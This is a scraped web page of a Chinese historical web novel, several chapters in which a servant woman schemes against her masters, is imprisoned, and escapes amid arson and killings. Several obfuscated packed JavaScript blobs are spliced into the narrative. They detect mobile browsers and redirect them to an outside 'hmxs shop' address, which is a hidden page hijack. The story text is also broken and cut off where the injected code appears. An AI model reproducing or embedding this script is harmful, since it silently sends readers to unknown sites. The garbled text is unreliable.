;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576557|187132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 他想起方才疏忽的另一件要紧的事儿:“掌事女官病情如何?可是水土不服?是否需要本官寻个本地郎中来瞧瞧?” 曲岳摇头道:“似乎是因为吃了王爷赏赐的鱼生,导致肠胃不适,又吐又泻,还发着高烧。不过龙舟上有太医随行,太守不必费心。” “王爷顶风冒雨行舟,必是极重效率,却为这女官下令停船半日,足见重视。”张巨卿沉吟道,“太医虽精于方脉,然此类水土之症,恐不及本地郎中经验老到。本官以为,还是请一位擅治此疾的老成郎中来候着,方为万全之策。” 曲岳略一思忖,点头道:“既如此,不如直接将大夫请至驻跸行宫候命。” 所谓驻跸行宫,实为旧门阀徐氏之宅邸。 这座占地五百余亩的园林,规模堪比宫苑,却又独具江南风韵。当年平叛后,霁王曾命太守府迁入此处,但张巨卿以过于奢靡为由婉拒。如今为迎接王驾,才命人稍加修葺,以备霁王驻跸之需。 徐员外的府邸,与行宫只有一墙之隔。 酉时一刻,雨歇云散,漫天霞光为行宫镀上一层瑰丽的金边。 鸣锣开道声由远及近,逶迤的仪仗队终于显露真容。 徐府临街的阁楼早已挤满了翘首以待的姑娘们。当她们望见金甲侍卫簇拥之中,那位身披战甲、手执长枪、端坐白骏之上的挺拔身影时,顿时沸腾起来,一个个几乎将半身都探出窗外。 “来了吗?是霁王来了吗?” “你们看!骑马走在最前头的那人是不是?” “应该不是吧?戏文里不都说皇上王爷出巡要坐轿吗?只有侍卫才骑马呢!” “霁王殿下才不是那种坐轿子的娇贵老爷,他是上过战场的大英雄,英雄就该骑骏马!” “一定是他!你们快看,马上那人何等威风,何等霸气,何等……俊朗啊!” “天啊,这世上竟有比知节姐姐还好看的男子,他一定就是霁王!” 听见那边叽叽喳喳的讨论,江雪融哂笑,“都是笨蛋,先出场的怎么可能是主角。越是金贵,越是千呼万唤才能出来呢。” 季知节听得出她话中带刺,因为被拿去比较美貌的不是她。此刻她确有得意的资本,因为她新作了一首绝妙好诗,徐员外允她在今晚的接风宴上压轴献艺。 这压轴的殊荣,原本是属于季知节的。 季知节本想拿出时毓的诗,把这个机会抢回来,时毓却说不必,到时杀江雪融一个措手不及。说不定江雪融听了她的作品,连上场的勇气都没有了。 想到这里,季知节突然想起,今天下午似乎一直没看到时毓。 她悄悄然环顾,依然遍寻不见,只得低声问身旁人:“时毓去哪儿了?” “方才太太房里的姑苏带着两个壮汉把她绑走了,”答话的姑娘浅笑道,“这回怕是凶多吉少。” 季知节心头一沉:“怎么回事?是谁到太太跟前嚼了舌根?” “哪里需要别人去嚼舌根?员外每回见到时毓都挪不开眼,我早说过,太太绝不会容她。偏她不知收敛,趁今天府里忙乱,竟拉着员外躲进假山……想必是正在做那见不得光的事,被太太的人逮个正着。听说员外脸上都被挠出了血痕,你想想,她还能有活路吗?” “不可能!”季知节断然道,“她绝不会去勾引员外!” “为何不会?比起被霁王青眼,得员外垂怜岂不更容易?”那姑娘妆容艳丽,神色却凄惶,“只要不被徐太太当场打死,总好过日后沦落风尘。” 话虽这样说,可季知节知道时毓的抱负,她怀揣惊世之才,绝不甘心困守于此。 而见识过霁王身边这些龙章凤姿的随从后,季知节对自己能否入王爷法眼也越发忐忑。唯有与时毓联手,方多一线生机。 她必须去救人。 5. 第 5 章 时毓此时被扒光衣服,束缚了双手双脚,关在漆黑潮湿的地窖里。 徐太太说了,不会让她死得那么容易,要慢慢折磨她,以儆效尤。 这一次时毓一点脾气都没有,因为她是真的勾引徐员外了。 没办法,徐员外根本没把她放在‘后备生子军团’名单上,为了和十二佳丽一起到霁王面前露个脸,必须说服他。 她小心翼翼地躲开徐太太的眼线,观察数日才等到这个机会。 今日徐员外一早便去码头迎驾,归来时浑身湿透,怒气冲冲,将贴身随从骂得狗血淋头,又因撑伞婆子不慎刮到他耳朵,一脚将人踹飞。他眼中喷火,周身寒意逼人,吓得无人敢近身。 时毓尾随他至假山群,笑吟吟唤了声员外,纤手轻勾,转身钻入山洞。 徐员外愣了一瞬,随即负手哼着小曲跟了进去。 这一天下来,只有时毓这个笑令他开心。 他完全猜得透她的目的,也知道此刻在这里,这个精明滑头的女人不会真的付出什么,顶多给他点小小的甜头,但他乐得陪她玩。 因为他已经到了一个很难找到乐趣的年纪,并处在一个四面楚歌的境地。背叛全族、受尽天下人咒骂,却未换来理想的权势,反被困在此地,满腔才华无处施展,这令他压抑至极。 在淅淅沥沥的雨声中,藏身假山与美人调情,是再好不过的放松。 往常都是他主动,今日他就静静地看着时毓,等着她出招,连眼神也不似往常那般肆无忌惮。 正是被他这般注视着,时毓才意识到,不能只将他看作一个满脑淫念的老色鬼。 作为唯一一个霁王手里活下来,并保全了特权和财富的门阀余孽,他极擅审时度势,踩着亲族的尸体进阶,是个被无数人痛恨却无可能奈何的狠角色。 那一刻,原本想要给他点小甜头,哄着他把自己送到霁王跟前的天真幻想骤然破灭了。 她觉得还是得谈合作。必须有足够多的利益,才能驱动他。 可她的卖身契握在他手中,这场交易注定不对等。 于是,一向对他避之不及的时毓,主动将手轻轻抚上他的胸膛。 他在运河边经历半日风雨,周身早已冰凉。这突如其来的暖意如星火坠入荒原,不仅驱散了他身体的寒意,更点燃了他胸腔中那颗沉寂已久的心。 都说老房子着火势不可挡,确实如此。 就像一个青铜费尽千辛万苦练成了王者,却找不到对手,徐员外半生钻营,自以为已臻化境,却困于现实无处发力,情感上也被徐太太压制,无处发泄。年岁愈长,这份压抑愈深。 他苦苦筹谋,寻寻觅觅,终于在四十六岁这年等到了霁王南巡,也遇到了让他心动,又完全在他掌控中的女人。 时毓这轻轻一触,仿佛让他看到了人生破局的曙光。 他实在把持不住,立刻附上她的手细细摩挲,带着点得意笑问:“怎么,想通了?” 时毓故作羞怯地抽回手背过身,低声道:“想通了。” 徐员外喜不自胜,不由分说地将她身子扳转过来,噘嘴欲吻。 时毓急忙抬手挡住,强忍恶心含笑嗔道:“急什么?听我说完。” 徐员外却将她箍得更紧,涎着脸道:“先让员外香一个再说也不迟!” 时毓顿时沉下脸,用力挣脱他的怀抱,抬脚便走,“那不说了,员外只当没这回事罢。” “说说说!”徐员外赶紧拉住她,赔笑道:“你家员外在风月场上摸爬滚打多年,从来没被哪个女人收服过,偏叫你这个小冤家拿捏住了。你说吧,想要什么我都答应!” “吹牛!”时毓飞他一记白眼,“太太不是将你管的死死的,一把年纪连个妾都没有?我听说整个晋陵郡都笑你是妻管严。” 她这一眼,瞪得徐员外通体舒泰。 他吻着她的手哼道:“那不是因为我爱重她,而是因为她娘家与霁王有点渊源。可从成亲我就看她生厌,那破锣嗓子水桶腰,再加上一张凶神恶煞的柿饼脸,简直让人作呕!我已二十年没踏入过她的房门,她耐不住深闺寂寞,才频频拿家里的奴婢撒气。你却不同——” 说到此处话锋一转:“自打见你第一眼,我便觉得你是老天爷照着我心坎儿描画出来的,模样性情,连说话的音儿,都对我的脾胃。你且不必惧她,我定然护你周全。” 时毓实在受不了他猪嘴巴在自己手上拱来拱去,猛地发力将他往后一推,一手按住岩壁,挑眉问:“说的轻巧,如何保护?” 徐员外受够了强势的女人,不喜欢被壁咚,他皱了皱眉,眼中炽热稍退,语气淡了下来:“此番我若能随霁王返京,便带你同去。” 时毓面露诧异:“员外的根基尽在晋陵,为何突然打算入京?” 许是五年来的重负亟待宣泄,徐员外忍不住道出隐藏在光鲜背后的窘境:“五年前我献上城防图,助霁王平定南方门阀,虽于朝廷有功,却为世人所不容。如今晋陵官商皆排挤打压,令我举步维艰。再者,门阀虽灭,但他们昔日豢养的门客并未死绝,无数人想杀我为主报仇,这些年我从没睡过一个安稳觉。 当年霁王曾许我高官厚禄,邀我入京,可惜当时我目光短浅,只想留在江南重振徐氏辉煌,并未答应。现在看来,只有追随他入京,方能得到他的庇护,让我徐氏重振旗鼓。” “原来是这样。”时毓见他面色严峻,便也端正了姿态,温声问:“那员外当年献图,其实是为了保住徐氏的根基吗?” 这是故意捧他,粉饰他卖族求荣的卑劣行径。 “也不全是。当年霁王得北方门阀支持挥师南征,北方门阀根基远比南方深厚,又常年与外敌作战,兵锋之盛远非我们能挡。更何况,他们对江南财富觊觎已久,势在必得,即便没有我献图,城防迟早都会被攻破。我不过是……让战争早一些结束罢了。早停战一日,江南的百姓就能少受一日的苦。” 徐员外果然被捧得飘飘然,又将自身拔高到为国为民的境地。 他声音渐沉,眼中泛起哀痛:“你不是江南人,不曾见过这里最好的模样。我生于此,长于此,见过烟柳画桥、风帘翠幕,也见过市列珠玑、户盈罗绮,曾乘醉听箫鼓、吟赏烟霞……岂忍见小桥下堆满尸骸,流水被血色染红?” 这番话,倒也不全是虚饰。 时毓能感受到他话中的真情流露,仿佛亲眼见到如画江南在战火中破碎,百姓流离,尸横遍野。想来五年前那场浩劫,确是所有江南人心头难以愈合的伤疤。 她轻声道:“员外做得对。若换作我,亦会如此。” 徐员外一怔,眼圈蓦地红了。 “门阀割据,终是朝廷心腹大患,迟早要被扫入历史的尘埃。员外你心怀慈悲,顺势而为,实乃大义。不必因世人短见而自我怀疑。或许当下无人理解,但后世史笔,定会还您一个公道。” 徐员外怔怔地望着她,浑浊的眼底泛起波澜。 这半生浮沉,从未有人能如此洞悉他内心的挣扎,更无人给予这般深切的理解与肯定。 在这一刻,他那颗被岁月盘包浆的老心脏,悄然生出一种陌生的,难以抵抗的,凌驾于对年轻身体的渴望、超越占有欲的情感。 那是一种想要将她珍重地护在羽翼之下,与她共度余生的真切渴望。 他一把抱住时毓,动情道:“世人如何评说,我早已不在意。此生能得你这样一个知我懂我的红颜,足矣。” “员外,我不仅懂你,更愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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时毓敏锐地察觉到他的态度发生了微妙转变,方才营造的温情似乎正迅速消退。她立即加快语速,清晰说道:“员外,我说的‘想通了'',是想明白了留在徐府只有死路一条。你动不了太太,她却随时能取我性命。你也说了,只有带我去京都,才能护住我,所以进京是你我唯一的出路。然而你挑选的这十二位佳丽,皆是昔日门阀所养,历经战火幸存,对霁王难免心存畏惧甚至怨恨。我想,指望她们有点冒险。我必须亲自去霁王面前搏一搏。你只需将我列入献艺名单,成败皆由我自己承担。若成,你我共赴京都,相互扶持;若败,我任凭处置,死生无悔。无论如何,你都稳赚不赔。” 当时她只看到徐员外的脸色骤然阴沉如铁,却未能等来他的回答,因为徐太太奇袭,像老鹰抓小耗子那样把他抓走了。 之后轮到她。 徐太太身边的婆子姑苏要是上了梁山,都能被尊称一声大姐,轻轻松松倒拔垂杨柳。 时毓只顾护着脸,身上被打得体无完肤。 她倒也不怨徐太太,只怨自己太急功近利,不够小心,运气也实在太差了些。 被关进地窖后,她最开始寄希望于徐员外,但直到现在,那个口口声声说要护她周全的人,果然像所有出轨渣男一样,再未现身。 时毓明白,这笔交易终究是谈崩了,大约是因为他发现自己只是把他当跳板,彻底破防了——她终究还是不擅长驾驭男人。 如此一来,想傍上霁王是不太可能了,眼下只求能保住性命。 也罢,连一个徐员外都搞不定,就算到了霁王身边,恐怕也不知怎么死。 好在她预想过这个糟糕的局面,给自己留了一条后路。 不知过了多久,远处隐约传来鼓乐与喧闹的人声,想来是行宫那边的接风宴已经开始了。 她强撑着坐起身,凝神细听,期盼能从这片嘈杂中分辨出救星的动静。 又等了许久,先是一阵惊呼——“走水了!走水了!”紧接着便是姑苏的厉声呵斥:“快灭火!不许声张!惊了王爷的驾,仔细你们的皮!” 惊呼声戛然而止,只剩下纷乱的脚步声和泼水声。 时毓不禁怀疑,这是那救星为引开看守,故意放的火。 可黑暗中忽然透进一丝光亮,呛人的浓烟随之涌进来,时毓的心猛地揪紧——起火之处,莫非就在这地窖上方? 她分明让狗儿在靠近行宫、且无人看管的马房放火! 狗儿这傻孩子,在此处放火非但无法在众目睽睽下救走她,反而可能将她活活烧死! “救命!有人吗?救救我!我在地窖里!”她拼尽全力呼喊起来。 6. 第 6 章 为妥善安置南巡官员与侍卫,张巨卿亲自登门向徐员外借调人手。 徐员外虽不想卖他人情,却想趁机多结交霁王亲随,于是将三百府兵和府中得用的丫鬟仆妇都派往行宫,偌大的府邸只剩下三十余人。 然而火势却在两处同时燃起。 一处在徐府最西头的废弃小院。那曾是徐员外偷欢的秘所,现如今已成了徐太太处决他那些‘红颜知己’的刑场。这院子荒废多年,梁柱腐朽,野草蔓生,而西北角那口枯井,传说填满了无名尸骨,每到夜深便隐隐传来女子呜咽,无人敢靠近。 故而直到火势冲天,才被人发觉。 时毓所在的地窖就在枯井旁。 另一处在徐府最东头的粮仓,那里存放着维系全府生计的粮食。 两处火场相隔甚远,有限的人手疲于奔命。更因怕惊动行宫里的贵人不敢呼喊,只能沉默地传递水桶,只是那一桶桶水在大火面前如同杯水车薪。 一墙之隔,行宫鼓乐喧天,徐府烟火升腾,悲欢对比显得格外荒诞。 “太太请看。” 被时毓称作女版鲁智深的姑苏提着一支箭迈进屋来,“在废院发现的。” 箭身缠着浸透松脂的麻布,烧了一半。 徐太太眯起被横肉挤得很小的眼睛:“这是火箭?” “正是。房梁和柱子上钉了十几支,地上数不胜数。看方向应该是从外院的阁楼上射进来的。废院杂物甚多,总有雨水没浸透的角落,这么多松脂火箭射进来,很难烧不起来!” “我说才下过雨,怎会无故走水。“徐太太冷笑,“原来是仇家上门了!” “谷仓的锁被撬了,火是从里面烧起来的。”姑苏补充道,“外院就属那处防水做得好,里头的粮食、干草燥得很,见个火星子就能烧起来。贼人连这些都摸得门清,府里肯定有内应!” 她眼中迸出杀气:“奴婢这就请老爷调府兵回防,定叫他们有来无回!” “慢着!”徐太太一掌拍在扶手上,霍然起身,“你仔细想想,白日里刚下过大雨,四处潮湿,这两处火势虽大,却难蔓延,不过是浓烟骇人罢了。贼人在此时放火,不是为了烧死我们,分明是要声东击西——借这场浓烟制造骚乱,好趁乱突袭行宫!” 她目光锐利如刀,声音又沉了三分:“今日霁王初至,人困马乏,夜宴正酣,正是守卫最松懈的时候。若我们此刻调回府兵,岂非正中贼人下怀?一旦行宫有失,老爷五年的谋划便要毁于一旦。相反,若明知家中有难,仍命府兵死守行宫、护卫王驾,这般忠义,岂能不令霁王动容?” 姑苏急道:“可如今要灭火便护不了院,要护院便灭不了火,万一贼人袭击行宫不成,狗急跳墙杀进府来泄愤……太太的安危又当如何?” 徐太太踱步片刻,决然道:“放弃粮仓,所有人回防后院。” “这并非万全之策。如今留在府中的都是老弱妇孺,哪堪御敌?况且去岁大旱,今岁又多雨,粮仓里存的可是全府上下两年的口粮。若是烧光了,这几百口人靠什么过活?” 姑苏没说出口的是,没了粮食,就算有钱,江南六郡的粮商也不会把米卖给徐府! “有舍才有得。“徐太太一挥手,“与老爷的大事相比,储粮算什么!” 她虽在纳妾之事上严苛,却是徐员外真正的贤内助。 徐员外娶她之前,不过是居住在晋陵边缘的徐氏偏支旁系,后来发展到能与嫡系本宅比邻而居,离不开她的协助,而从献图自保到筹谋进京,也都有她的谋划。这才是徐员外对她又怕又敬的根源。 姑苏知道她主意一定,就再无回转可能,便执意要她换上仆妇衣裳躲进地窖,自己则扮作主母坐镇堂中。 徐太太苦劝无果,只得应允。 于是当时毓拼尽力气呼救半天,没等来救星,反倒迎来了徐太太。 “闭嘴!再叫就割了你的舌头!” 出身北地的徐太太身强力壮,一巴掌将好不容易蹦到入口处的时毓扇飞。 时毓重重撞上土墙,眼前金星乱冒。 缓了半天,时毓才开口:“太太怎么亲自到这里来了?外面发生什么事儿了?” 黑暗中她们看不清彼此,但时毓能想象她凶神恶煞的样子,可时毓并不害怕,相反,一听到徐太太的声音,她就放下心来—— 徐太太肯定也不是来杀她的,杀人这种事儿,有的是人为她做。 她不在外面指挥灭火,却只身下地窖,只能说明,外面不如这里安全。 徐太太冷笑:“无论发生什么事儿,你都逃不出我的手掌心。我要让你赤身游街,然后把你扔到乞丐街,最后把你像狗一样锁在这院子里,让你自生自灭。” 时毓咽了咽口水:“哇,你好歹毒。” “是你太下贱!”徐太太怒道:“这些年在我的管教下,员外早已收敛,府中婢女更是人人自危,不敢多看他一眼,你才来两月余,却勾得他魂不守舍,我屡次想抓你现行,你都油滑得像条泥鳅。今日你当着我的面儿使那狐媚术,与骑在我的脖子上拉屎何异?我顾以凡可不是你这等下等贱民能欺负的!” 到了这个地步也不怕撕破脸了,时毓呸了一声道:“别为自己的恶行找理由了,女魔头!从我被买进你们家,一直是死老头纠缠我,唯有今天,我承认,为了让他送我去夜宴献艺,我勾引了他一下,那也是被你们逼的!倘若他不是甩不掉的牛皮糖,你不是滥杀无辜的大魔头,我又何必想尽办法攀上霁王!我可不想被填井!” “凭你还想攀上霁王?”徐太太冷笑起来:“这借口未免太蹩脚!像你这般非清白之身,年龄又大、来历也说不清的野女人,最多只能攀上我家员外,可惜你这辈子没这福气了!” “这福气你自己留着吧。我才不会为了区区一个男人,把自己变得疑神疑鬼、面目全非。你听!” 徐太太下意识侧耳倾听。地窖外隐约传来裹在风里的呜咽声,她不由自主打了个寒颤。 “听见了吗?那些被你害死的女人在哭!她们入府的时候都是花样年华,清清白白,大约也都本本分分,却没能逃过死老头的纠缠和你的毒手,你们会遭报应的!今夜也许就是你的死期,你赶紧想想死后如何向她们请罪,才不会被生吞活剥吧!” 徐太太刚要扑上去打她,地窖上方忽然传来重响,似是盖子被掀飞了。 时毓轻笑:“不会吧,报应说来就来?是哪位妹妹来了?快请快请,赶紧把太太带走。等姐姐出去,定找高僧为你超度。“ 徐太太浑身一抖,闪电般躲到时毓身后,大气也不敢出。 冷风窜进来,浑身赤裸的时毓也不禁打了个寒战。 她是不相信鬼神的,因而死死盯着入口的方向。 不多时,咚得一声,似乎有人跳了下来,紧接着光线渐渐亮起来。 见有光,徐太太稍松口气,却仍缩在时毓背后不敢动弹。 时毓看她这副模样,心知来者不善,决不能当这女人的替死鬼,当即放声大喊:“救命!徐太太要杀我!” 光影晃动间,一个黑衣人迅疾闯入。 正如时毓所料,对方全身紧束,只露出一双眼睛。 在看清她的瞬间,黑衣人瞳孔骤缩,左手蜡烛与右手匕首同时坠地。哐当声响中,黑暗重新吞噬了地窖。 就在这瞬息之间,徐太太如惊鼠般窜出。 待时毓回过神,她已从入口逃之夭夭。而那个黑衣人竟毫没反应过来! “徐太太跑了!”时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576559|187132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毓急声高呼。 黑衣人这才闪身追出,时毓在他后面喊:“大侠,等你得手了,别忘了回来救我啊,咱俩同仇敌忾,请不要见死不救!” 黑衣人没有回应他,但没过一会儿,上面便传来呼喊:“时姐姐,你在这里吗?“ 狗儿! 在她初临此世、孤苦无依时,是狗儿一家给了她容身之所;如今,又是这少年不顾生死,为她闯入这龙潭虎穴! 时毓心里一热,大喊:“在在在,狗儿,我在地窖里,入口就在井北面三步处,快来救我!” 狗儿很快摸黑爬进来。 时毓用声音引导他找到自己,让他帮自己解开身上的绳子。 当触及时毓赤裸的肌肤时,狗儿猛地缩回手,声音都变了调:“时姐姐,你……你怎么没穿衣服?” 时毓道:“别提了,还不都是徐太太的手笔,她泄愤可有一套呢!我快冻死了,快帮我解开绳子,把外衣借我穿一会儿!” 狗儿慌忙脱下外衣,用衣服裹着手解开绳索,而后才把衣服递过去。 幸好地窖里漆黑一片,时毓看不见他涨得通红的脸。 那件打了层层补丁的粗布外衣散发着浓重的汗味,但时毓已顾不上这些,一边穿衣一边问:“怎么耽搁这么久?可是遇上麻烦了?受伤没有?” “没事儿。”狗儿含糊了一句,接着解释道,“我原想按计划点燃马房制造混乱,可马房被雨浸得透湿,还有京城侍卫把守,我只好……” “你就想办法到了这里,点了这个院子?” 狗儿一向机灵善于变通,且时毓早已让他把府中布局背的滚瓜烂熟,因而有此猜测。 狗儿摇头道:“府里层层大门都有人守着,你给我的钱只够贿赂侧门守卫,根本进不来内院。眼看约定的时间过了你还没发信号,我知道你出事了,只好壮着胆子袭击了粮仓守卫点了粮仓!” 天呐!粮仓可是府中守备最森严的要地,那些守卫都是精挑细选的高手,且都佩着开刃大刀,最瘦小的也比十四岁的狗儿高出半个头,时毓曾特意嘱咐过他离那里,这孩子竟敢赤手空拳去闯,还真让他得手了! 这份超出年龄的胆识与机变,让她既后怕又欣慰。 “等火势起来,我爬上房顶,想等到人都被吸引到粮仓后过去救你,却看见数十支火箭划破夜空,正向后院射来——” “等等!”没想到情况这么复杂,时毓打断他:“火箭?你是说,这里的火是外头射进来的火箭点的?也就是说,今晚闯入徐府的,不止你一个。那方才那个黑衣人,不是你找来的帮手?” 狗儿道:“自然不是。他们应该是徐员外的仇家。” “他们……还不止一人!”时毓敏锐地抓住这个字眼,思绪飞转:“他们应该是趁着府中防守薄弱来杀徐员外……不,他们应该知道徐员外在行宫夜宴,所以直接朝后院放火,他们是专门来杀徐太太的!” “徐太太?他们为什么要冒这么大的风险来杀一个妇人?”狗儿不解。 “徐太太是徐员外搭上霁王的关键,徐员外又素有畏妻之名,而世人最喜欢让女人给男人背锅,定有不少人将背族献图的账算在她头上,看来这次她凶多吉少了。” 狗儿沉默片刻道:“就算不是她的主意,她也坑杀了很多无辜女子,她活该!别管她了,咱们赶紧走吧!万一徐员外带人回来,你可就走不成了!” “对对对,赶紧走!”时毓一边说着一边往外跑去。 时毓之前想,倘若勾引徐员外之事被徐太太知道,必死无疑,只有逃离徐府,才有一线生机。 现在看,虽然徐太太必死无疑,可是留在徐府,会成为徐员外的玩物,还不如死了干净。所以,还是按原计划跑路吧! 7. 第 7 章 二人冲出废院,浓烟裹挟着血腥气扑面而来。繁华的徐府已成修罗场,尸骸横陈于廊庑之间。 女版鲁智深死状尤惨。 时毓双腿一软,整个人几乎挂在狗儿单薄的臂膀上。 “这就怕了?时姐姐平日不是最大胆么?”少年稳住她的身子,语气中带着与年龄不符的沉稳。 时毓颤声道:“我哪儿见过这样的场景啊!” 狗儿安抚道:“见得多了就不怕了。五年前打仗的时候,到处都是断臂残肢,还有肠子流了满地的人,一边爬一边唤娘亲……” “别说了!”时毓一把抓住他的胳膊,闭上眼深吸了一口气,决然道:“既然你不怕,扶我去徐太太屋里找些金银细软带走!” “啊?还要偷东西?” “这能叫偷吗?这叫讨还血债!!”时毓义正词严,“再说,按照大虞律法,奴仆私逃本是死罪,杀人放火也是死罪,反正你我都是死罪了,多加一条偷盗罪算什么?你可知道,逃亡路上没有银钱寸步难行!” 狗儿挠了挠头:“好吧,反正我都听你的。” 他们畅通无阻地进了徐太太的房间,却正好撞见黑衣人划破徐太太的喉咙。 猩红帷幔在穿堂风中狂舞,鲜血喷涌而出,徐太太浑身瘫软下去,她却不想倒,死死抓住身旁的多宝柜,在琉璃盏碎裂声中踉跄两步,又扶住梨花木椅,最终如断线木偶般匍匐在地。 染血的手指在地上拖出惊心动魄的痕迹,那双渐渐涣散的瞳孔死死盯着时毓,里面翻涌着惊恐与怨毒,似乎还藏着说不清的悔恨与不甘。 无人知晓在在生命的最后一刻她在想什么。 但她用自己的生命,成全了徐员外的大计。 行宫内,翊卫中郎将顾钊——日间那位身穿铠甲骑白马而来的俊美男子,听闻徐府惨剧,目光掠过正在霁王席前殷勤斟酒的徐员外,唇边掠过一丝若有似无的冷笑:“连结发妻子都能舍作晋身之阶,徐守凯……的确是个人物。” * 黑衣人持着滴血的匕首步步紧逼,时毓的心快要提到嗓子眼,狗儿紧张地拽她后退,她却硬生生定在原地——跑能跑得过人家吗? 对方手持杀人利器而来,态度不明,吉凶未卜,电光火石间,她推断只有坚定地和他统一战线,才能不被灭口。 于是做出喜极而泣的姿态,仰头哭道:“爹,娘!害死你们的仇人死了,你们可以瞑目了!” 说罢扑通跪地,仰头望向黑衣人时泪珠滚落:“恩公大恩,请受小女一拜!” 一旁的狗儿目瞪口呆——时姐姐的父母竟是被徐太太所害?为何从未听她提起? 黑衣人将染血的匕首收到身后,另一手去扶她下拜的身形。指尖刚触及她的手臂便立即收回,目光刻意避开她裸露的双腿,沉声道:“徐妇作恶多端,死有余辜。我亦是为报家妹之仇,姑娘不必言谢。” 一个杀人不眨眼的凶徒,竟然有这么温柔的语调! 时毓震惊之余心中涌起一阵劫后余生般的庆幸:赌对了! 她颤抖着站起身,听他提及妹妹,又想起地窖中他失态的模样,不由暗忖:莫非自己与他妹妹容貌相似? “大侠替天行道,便是所有江南百姓的恩人。不知您妹妹是怎么……徐太太杀害了很多年轻女子,尸骨都在后院枯井中。” 如果黑衣人的妹妹也是枯井中的一位,那么这番指点,能帮他找到妹妹的尸骨,也能趁他殓尸之际拿走徐太太的私房脱身。 黑衣人沉声道:“虞衡狗贼入城时,她被闯入家中的暴民……” 时毓心中一惊,虞衡是霁王名讳,当年王师南下,确实有不少饱受门阀欺凌的百姓趁乱报复。若他妹妹死于此劫,那眼前这人—— 应该是个漏网的门阀子弟! 那就是朝廷的通缉犯啊! 正想着,身上忽然一暖,原来是黑衣人扯下了帷幔裹到了她身上。那帷幔又宽又长,将她裹得严严实实,连脚丫子都盖住了。 这是时毓第一次在这个时代见识到绅士品格,不由看着他微微一愣。 黑衣人似乎被这个眼神看得害羞了,不自在地撇开眼。 时毓察觉自己的失态,连忙道谢。 黑衣人摇摇头,问道:“姑娘是如何落到徐氏夫妇手中,为何被如此对待?” 时毓道:“此事说来话长,而且此处不是说话的地方。行宫就在隔壁,徐府府兵随时会回援,大侠还是快走为上!” 黑衣人问:“那姑娘呢?” 时毓道:“我也要走。” “去往何处?” 这一问让时毓心中警铃大作。 他为何要追问我的去向? 难道是想探寻我的出身,确定我的立场? 万一我回答错了,会被他当场灭口吗? 没道理啊,他在地窖中见过我被扒光衣服五花大绑,应该知道我的处境,方才也是因我提醒,才没让徐太太逃脱。更何况,我连他的容貌都没看到,根本构不成任何威胁。 难道是因为我刚才的表现,他想赖上我,让我报恩? 呔!刚才我被杀人场面吓傻了,不应该叫他恩公,反而应该质问他:要不是我提醒你,徐太太早跑了,你想恩将仇报吗? 可惜懊恼也晚了。 报恩是不可能的,绝不能和通缉犯牵涉过多。 “您这一问,竟把我问住了。是啊,父母已故,家园被占,天大地大,何处能容我姐弟二人?” 时毓低头垂泪,正准备说,‘等我养大了弟弟再报恩罢’,忽听黑衣人道: “既然姑娘无处可去,不如随我同行?” 原来他追问去处,是为了邀请她们同行,保护他们安危! 以小人之心度君子之腹的时毓惭愧得脸发热,连忙推拒道:“这……这不好吧?我们姐弟二人文武不通,只会是您的拖累……” 黑衣人轻声道:“我已看了姑娘的身子,要为姑娘负责。” 什……什么?! 时毓愕然抬头,怔怔地看着他羞怯中带着坚毅的眼神。 你们这儿有这规矩吗?她求证似的瞥向狗儿,狗儿眉头拧紧,黑着脸道:“若他当真看了姐姐的身子,就必须明媒正娶!否则我追到天涯海角也绝不罢休!” 时毓惊的下巴快掉下来了,还以为这只是武侠小说中的设定,没想到现实世界中竟然真的有这么霸道不讲理的规矩! 只是看了一眼,又不是发生关系了,更不是怀孕了……为什么非得结婚? 古代如此看重父母之命媒妁之言,难道遇到这种事,就什么都不顾了吗? 她忽然想起黑衣人在地窖中看到她时震惊失态的样子,原来并不是因为自己长得像他妹妹,大概率是因为他被这个猝不及防的命运转折点撞傻了。 往后余生,就这么被一个不知身份来历的陌生女人绑定了! 其实这规矩不光剥夺了他的选择权,对她也极其不尊重啊! 他至少看了她的样貌,她却连他是圆是扁都不知道! 这要是换成认命的土著女,不是倒了大霉了吗? 且不论美丑、人品,他本身就是朝廷侵犯,今晚又杀了这么多人,有没有明天都不好说,谁想跟他整日担惊受怕、东躲西藏! 反正时毓不想! 她嘴角抽了抽,忙道:“大侠大可不必苦恼,我早已不是清白身,更不是那种失去贞洁就会寻死觅活的人……” 听到‘不是清白身’,黑衣人的眼神暗了暗,好像有些失望,但不过瞬息,那点失望便化作更深的怜惜。 他从怀中取出一个锦绣荷包,小心地拿出一块玉圭,郑重地捧到时毓面前:“无论姑娘经历过什么,我既已许下承诺,就绝不反悔。这是我家传之物,请姑娘收下,权作你我之约的凭证。” 那是一块质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 